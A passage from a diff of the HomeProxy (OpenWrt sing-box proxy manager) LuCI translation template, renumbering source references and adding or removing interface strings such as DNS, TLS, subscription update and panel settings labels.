(source_ip_cidr || source_ip_is_private) &&
(source_port || source_port_range) &&
other fields.
Additionally, included rule sets can be " -"considered merged rather than as a single rule sub-item." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:258 +#: htdocs/luci-static/resources/view/homeproxy/client.js:242 msgid "" "The dns server for resolving China domains. Support UDP, TCP, DoH, DoQ, DoT." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:488 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1231 +#: htdocs/luci-static/resources/view/homeproxy/client.js:470 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1044 msgid "The domain strategy for resolving the domain name in the address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1245 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1495 #: htdocs/luci-static/resources/view/homeproxy/server.js:587 msgid "" "The elliptic curves that will be used in an ECDHE handshake, in preference " @@ -2819,17 +2676,17 @@ msgid "" "account." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:953 +#: htdocs/luci-static/resources/view/homeproxy/client.js:766 msgid "" "The fallback value in milliseconds used when TLS segmentation cannot " "automatically determine the wait time." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:766 +#: htdocs/luci-static/resources/view/homeproxy/client.js:577 msgid "The idle timeout in seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1237 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1487 #: htdocs/luci-static/resources/view/homeproxy/server.js:579 msgid "The maximum TLS version that is acceptable." msgstr "" @@ -2844,32 +2701,28 @@ msgstr "" msgid "The maximum time difference between the server and the client." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1229 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1479 #: htdocs/luci-static/resources/view/homeproxy/server.js:571 msgid "The minimum TLS version that is acceptable." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:141 +#: htdocs/luci-static/resources/view/homeproxy/client.js:113 #: htdocs/luci-static/resources/view/homeproxy/server.js:130 -msgid "The modern ImmortalWrt proxy platform for ARM64/AMD64." +msgid "OpenWrt-designed Sing-box proxy management platform. It is recommended to disable Dnsmasq DNS redirection." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:495 +#: htdocs/luci-static/resources/view/homeproxy/client.js:477 #: htdocs/luci-static/resources/view/homeproxy/server.js:875 msgid "The network interface to bind to." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1178 -msgid "The path of the DNS server." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1279 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1529 msgid "" "The path to the ECH config, in PEM format. If empty, load from DNS will be " "attempted." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1258 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1508 msgid "The path to the server certificate, in PEM format." msgstr "" @@ -2877,20 +2730,14 @@ msgstr "" msgid "The port must be unique." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1173 -msgid "The port of the DNS server." +#: htdocs/luci-static/resources/view/homeproxy/client.js:986 +msgid "Leave empty to use the default port." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1427 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1239 msgid "The response code." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:164 -msgid "" -"The rollback archive for the previous HomeProxy configuration has been saved " -"to %s." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:776 msgid "The server private key, in PEM format." msgstr "" @@ -2899,25 +2746,25 @@ msgstr "" msgid "The server public key, in PEM format." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:502 +#: htdocs/luci-static/resources/view/homeproxy/client.js:484 msgid "" "The tag of the upstream outbound.
Other dial fields will be ignored when " "enabled." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:179 -#: htdocs/luci-static/resources/view/homeproxy/client.js:208 -#: htdocs/luci-static/resources/view/homeproxy/client.js:743 +#: htdocs/luci-static/resources/view/homeproxy/client.js:164 +#: htdocs/luci-static/resources/view/homeproxy/client.js:193 +#: htdocs/luci-static/resources/view/homeproxy/client.js:554 msgid "The test interval in seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:185 -#: htdocs/luci-static/resources/view/homeproxy/client.js:214 -#: htdocs/luci-static/resources/view/homeproxy/client.js:759 +#: htdocs/luci-static/resources/view/homeproxy/client.js:170 +#: htdocs/luci-static/resources/view/homeproxy/client.js:199 +#: htdocs/luci-static/resources/view/homeproxy/client.js:570 msgid "The test tolerance in milliseconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:987 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1237 #: htdocs/luci-static/resources/view/homeproxy/server.js:465 msgid "" "The timeout (in seconds) that after performing a keepalive check, the client " @@ -2925,64 +2772,34 @@ msgid "" "closed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:129 -msgid "" -"The uploaded backup file contains the following HomeProxy source " -"configuration. Restoring it will overwrite the current HomeProxy settings, " -"custom direct/proxy lists, and uploaded certificates and private keys." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:126 -msgid "The uploaded backup file is invalid." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:255 -msgid "" -"These diagnostics are from the last configuration generation or subscription " -"update (%s). Re-apply, restart the service, or update subscriptions again " -"after fixing them to refresh diagnostics." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:256 -msgid "" -"These diagnostics are from the last configuration generation or subscription " -"update. Re-apply, restart the service, or update subscriptions again after " -"fixing them to refresh diagnostics." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1223 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1619 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1473 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1825 msgid "" "This is DANGEROUS, your traffic is almost like " "PLAIN TEXT! Use at your own risk!" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:897 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1147 msgid "" "This is the TUIC port of the UDP over TCP protocol, designed to provide a " "QUIC stream based UDP relay mode that TUIC does not provide." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:228 -#: htdocs/luci-static/resources/view/homeproxy/client.js:263 -msgid "ThreatBook Public DNS (117.50.10.10)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:244 +msgid "ThreatBook Public DNS (DoH)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:108 -msgid "Timed out waiting for subscription update to finish." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:202 +#: htdocs/luci-static/resources/view/homeproxy/node.js:502 msgid "Timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:933 +#: htdocs/luci-static/resources/view/homeproxy/client.js:746 msgid "" "Timeout for UDP connections.
Setting a larger value than the UDP timeout " "in inbounds will have no effect." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1128 +#: htdocs/luci-static/resources/view/homeproxy/client.js:941 msgid "" "Timeout of rejected DNS response cache in seconds. 604800 (7d) " "is used by default." @@ -2994,7 +2811,7 @@ msgid "" "code>." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:332 +#: htdocs/luci-static/resources/view/homeproxy/client.js:315 msgid "" "To enable Tun support, you need to install ip-full and " "kmod-tun" @@ -3004,92 +2821,102 @@ msgstr "" msgid "Trace" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:953 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1203 #: htdocs/luci-static/resources/view/homeproxy/server.js:399 msgid "Transport" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:534 +#: htdocs/luci-static/resources/view/homeproxy/node.js:869 #: htdocs/luci-static/resources/view/homeproxy/server.js:186 msgid "Trojan" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:536 +#: htdocs/luci-static/resources/view/homeproxy/node.js:871 #: htdocs/luci-static/resources/view/homeproxy/server.js:188 msgid "Tuic" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:330 +#: htdocs/luci-static/resources/view/homeproxy/client.js:313 msgid "Tun TCP/UDP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1157 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1545 -#: htdocs/luci-static/resources/view/homeproxy/node.js:522 +#: htdocs/luci-static/resources/view/homeproxy/client.js:970 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/node.js:857 #: htdocs/luci-static/resources/view/homeproxy/server.js:175 msgid "Type" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:851 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1158 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1312 +msgid "Type error" +msgstr "" + +msgid "TypeError" +msgstr "" + +msgid "Cannot convert null to object." +msgstr "" + +msgid "can't convert null to object" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:662 +#: htdocs/luci-static/resources/view/homeproxy/client.js:971 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1124 #: htdocs/luci-static/resources/view/homeproxy/server.js:868 msgid "UDP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1347 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1597 #: htdocs/luci-static/resources/view/homeproxy/server.js:854 msgid "UDP Fragment" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:375 +#: htdocs/luci-static/resources/view/homeproxy/client.js:358 #: htdocs/luci-static/resources/view/homeproxy/server.js:859 msgid "UDP NAT expiration time" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1351 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1601 msgid "UDP over TCP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:896 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1146 msgid "UDP over stream" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:889 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1139 msgid "UDP packet relay mode." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:888 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1138 msgid "UDP relay mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:932 +#: htdocs/luci-static/resources/view/homeproxy/client.js:745 msgid "UDP timeout" msgstr "" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:15 -#: htdocs/luci-static/resources/view/homeproxy/client.js:164 -#: htdocs/luci-static/resources/view/homeproxy/client.js:193 -#: htdocs/luci-static/resources/view/homeproxy/client.js:461 +#: htdocs/luci-static/resources/view/homeproxy/client.js:149 +#: htdocs/luci-static/resources/view/homeproxy/client.js:178 +#: htdocs/luci-static/resources/view/homeproxy/client.js:444 msgid "URLTest" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:171 -#: htdocs/luci-static/resources/view/homeproxy/client.js:200 -#: htdocs/luci-static/resources/view/homeproxy/client.js:539 +#: htdocs/luci-static/resources/view/homeproxy/client.js:156 +#: htdocs/luci-static/resources/view/homeproxy/client.js:185 +#: htdocs/luci-static/resources/view/homeproxy/client.js:519 msgid "URLTest nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:870 +#: htdocs/luci-static/resources/view/homeproxy/client.js:130 +msgid "URLTest: %s" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1120 #: htdocs/luci-static/resources/view/homeproxy/server.js:346 msgid "UUID" msgstr "" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:39 -#: htdocs/luci-static/resources/homeproxy/node-filter.js:48 -#: htdocs/luci-static/resources/view/homeproxy/node.js:72 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1711 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1713 #: htdocs/luci-static/resources/view/homeproxy/status.js:98 msgid "Unknown error." msgstr "" @@ -3098,15 +2925,11 @@ msgstr "" msgid "Unknown error: %s" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:205 -msgid "Unsupported" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1315 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1565 msgid "Unsupported fingerprint!" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1648 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1849 msgid "Update %s subscriptions" msgstr "" @@ -3114,60 +2937,77 @@ msgstr "" msgid "Update failed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1604 -msgid "Update interval" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1605 -msgid "Update interval of rule set." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1643 -msgid "Update nodes from subscriptions" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1580 -msgid "Update subscriptions via proxy." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1573 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1415 msgid "Update time" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1579 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1416 +msgid "Update time (daily)" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1417 +msgid "Update time (weekly)" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1418 +msgid "Every day" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1419 +msgid "Every Monday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1420 +msgid "Every Tuesday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1421 +msgid "Every Wednesday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 +msgid "Every Thursday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1423 +msgid "Every Friday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1424 +msgid "Every Saturday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1425 +msgid "Every Sunday" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1844 +msgid "Update nodes from subscriptions" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1779 +msgid "Update subscriptions via proxy." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1778 msgid "Update via proxy" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1655 -msgid "Updating subscriptions..." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1284 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1534 msgid "Upload ECH config" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:203 -msgid "" -"Upload a HomeProxy backup file and overwrite the current HomeProxy source " -"configuration. A rollback archive is saved automatically before restore." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:149 -#: htdocs/luci-static/resources/view/homeproxy/backup.js:211 -msgid "Upload backup file..." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1175 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1425 #: htdocs/luci-static/resources/view/homeproxy/server.js:523 msgid "Upload bandwidth" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1176 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1426 #: htdocs/luci-static/resources/view/homeproxy/server.js:524 msgid "Upload bandwidth in Mbps." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1265 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1515 #: htdocs/luci-static/resources/view/homeproxy/server.js:767 msgid "Upload certificate" msgstr "" @@ -3176,68 +3016,58 @@ msgstr "" msgid "Upload key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1268 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1287 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1518 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1537 #: htdocs/luci-static/resources/view/homeproxy/server.js:770 #: htdocs/luci-static/resources/view/homeproxy/server.js:789 msgid "Upload..." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:111 -msgid "Uploading backup file..." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:596 msgid "Use ACME TLS certificate issuer." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:579 -msgid "" -"Use POSIX ERE syntax. Lookahead/lookbehind such as (?!) and (?<=) are " -"unsupported." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1211 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1461 #: htdocs/luci-static/resources/view/homeproxy/server.js:561 msgid "" "Used to verify the hostname on the returned certificates unless insecure is " "given." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1191 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1004 msgid "Used to verify the hostname on the returned certificates." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:854 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1326 +#: htdocs/luci-static/resources/view/homeproxy/client.js:665 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1138 msgid "User" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1613 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1819 msgid "User-Agent" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:574 +#: htdocs/luci-static/resources/view/homeproxy/node.js:888 #: htdocs/luci-static/resources/view/homeproxy/server.js:203 msgid "Username" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:539 +#: htdocs/luci-static/resources/view/homeproxy/node.js:874 #: htdocs/luci-static/resources/view/homeproxy/server.js:189 msgid "VLESS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:540 +#: htdocs/luci-static/resources/view/homeproxy/node.js:875 #: htdocs/luci-static/resources/view/homeproxy/server.js:190 msgid "VMess" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:221 -#: htdocs/luci-static/resources/view/homeproxy/client.js:259 +#: htdocs/luci-static/resources/view/homeproxy/client.js:206 +#: htdocs/luci-static/resources/view/homeproxy/client.js:243 msgid "WAN DNS (read from interface)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1676 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1487 msgid "WAN IP Policy" msgstr "" @@ -3245,56 +3075,41 @@ msgstr "" msgid "Warn" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:960 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1210 #: htdocs/luci-static/resources/view/homeproxy/server.js:406 msgid "WebSocket" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1624 -msgid "" -"When a subscription node uses a server certificate fingerprint but the " -"current sing-box version cannot express it, skip the node by default. Enable " -"this only if you explicitly accept falling back to TLS insecure mode for " -"compatibility." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy/dashboard.js:102 -msgid "" -"When using the remote MetaCubeXD dashboard, the Clash API secret is provided " -"to that web page. Use a self-hosted or local dashboard when stronger " -"security is required." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1604 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1810 msgid "Whitelist mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:538 +#: htdocs/luci-static/resources/view/homeproxy/node.js:873 msgid "WireGuard" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1092 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1342 msgid "WireGuard peer public key." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1099 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1349 msgid "WireGuard pre-shared key." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1084 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1334 msgid "WireGuard requires base64-encoded private keys." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:614 +#: htdocs/luci-static/resources/view/homeproxy/node.js:928 msgid "Write proxy protocol in the connection header." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1069 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1631 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1319 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1832 msgid "Xudp (Xray-core)" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:300 +#: htdocs/luci-static/resources/homeproxy.js:259 msgid "Your %s was successfully uploaded. Size: %sB." msgstr "" @@ -3302,17 +3117,17 @@ msgstr "" msgid "ZeroSSL" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1270 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1520 #: htdocs/luci-static/resources/view/homeproxy/server.js:772 msgid "certificate" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:926 +#: htdocs/luci-static/resources/view/homeproxy/client.js:739 msgid "connect UDP connections" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1230 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1238 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1480 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1488 #: htdocs/luci-static/resources/view/homeproxy/server.js:572 #: htdocs/luci-static/resources/view/homeproxy/server.js:580 msgid "default" @@ -3322,45 +3137,52 @@ msgstr "" msgid "failed" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:956 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1206 #: htdocs/luci-static/resources/view/homeproxy/server.js:402 msgid "gRPC" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:998 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1248 msgid "gRPC permit without stream" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:993 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1243 #: htdocs/luci-static/resources/view/homeproxy/server.js:430 msgid "gRPC service name" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:351 +#: htdocs/luci-static/resources/view/homeproxy/client.js:334 msgid "gVisor" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:347 -#: htdocs/luci-static/resources/homeproxy.js:367 -#: htdocs/luci-static/resources/view/homeproxy/client.js:235 -#: htdocs/luci-static/resources/view/homeproxy/client.js:270 -#: htdocs/luci-static/resources/view/homeproxy/client.js:548 -#: htdocs/luci-static/resources/view/homeproxy/client.js:569 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1568 -#: htdocs/luci-static/resources/view/homeproxy/node.js:604 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1311 +#: htdocs/luci-static/resources/homeproxy.js:306 +#: htdocs/luci-static/resources/homeproxy.js:326 +#: htdocs/luci-static/resources/view/homeproxy/client.js:219 +#: htdocs/luci-static/resources/view/homeproxy/client.js:253 +#: htdocs/luci-static/resources/view/homeproxy/client.js:527 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1380 +#: htdocs/luci-static/resources/view/homeproxy/node.js:918 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1561 #: htdocs/luci-static/resources/view/homeproxy/server.js:235 msgid "non-empty value" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:747 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1067 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1629 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1919 +msgid "The default rule set directory is /etc/homeproxy/ruleset/." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1975 +msgid "absolute path" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1061 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1317 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1830 msgid "none" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1068 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1630 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1318 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1831 msgid "packet addr (v2ray-core v5+)" msgstr "" @@ -3372,7 +3194,7 @@ msgstr "" msgid "private key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:843 +#: htdocs/luci-static/resources/view/homeproxy/client.js:654 msgid "quic-go / uquic chrome" msgstr "" @@ -3384,11 +3206,11 @@ msgstr "" msgid "sing-box server" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1293 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1543 msgid "uTLS fingerprint" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1294 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1544 msgid "" "uTLS is a fork of \"crypto/tls\", which provides ClientHello fingerprinting " "resistance." @@ -3398,70 +3220,230 @@ msgstr "" msgid "unchecked" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:278 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 +#: htdocs/luci-static/resources/homeproxy.js:237 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1735 msgid "unique UCI identifier" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:358 +#: htdocs/luci-static/resources/homeproxy.js:317 msgid "unique value" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:616 -#: htdocs/luci-static/resources/view/homeproxy/node.js:824 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1358 +#: htdocs/luci-static/resources/view/homeproxy/node.js:930 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1075 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1608 msgid "v1" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:617 -#: htdocs/luci-static/resources/view/homeproxy/node.js:825 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1359 +#: htdocs/luci-static/resources/view/homeproxy/node.js:931 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1076 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1609 msgid "v2" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:826 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1077 msgid "v3" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:247 -#: htdocs/luci-static/resources/view/homeproxy/client.js:251 -#: htdocs/luci-static/resources/view/homeproxy/client.js:281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:285 +#: htdocs/luci-static/resources/view/homeproxy/client.js:231 +#: htdocs/luci-static/resources/view/homeproxy/client.js:235 +#: htdocs/luci-static/resources/view/homeproxy/client.js:264 +#: htdocs/luci-static/resources/view/homeproxy/client.js:268 msgid "valid DNS server address" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:730 -#: htdocs/luci-static/resources/view/homeproxy/client.js:733 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1573 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1576 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1590 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1593 +#: htdocs/luci-static/resources/view/homeproxy/client.js:541 +#: htdocs/luci-static/resources/view/homeproxy/client.js:544 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1388 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1796 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1799 msgid "valid URL" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:312 +#: htdocs/luci-static/resources/homeproxy.js:271 msgid "valid base64 key with %d characters" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1719 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1751 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1530 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1562 msgid "valid hostname" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:338 +#: htdocs/luci-static/resources/homeproxy.js:297 msgid "valid port range (port1:port2)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:314 +#: htdocs/luci-static/resources/view/homeproxy/client.js:297 msgid "valid port value" msgstr "" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:59 -#: htdocs/luci-static/resources/view/homeproxy/client.js:591 -#: htdocs/luci-static/resources/view/homeproxy/client.js:616 -msgid "valid regular expression" -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:369 +#: htdocs/luci-static/resources/homeproxy.js:328 msgid "valid uuid" msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Panel Settings" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI path" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI download URL" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI download detour" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "API listen" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Use 0.0.0.0:port to open the panel from your browser." +msgstr "" + +#: 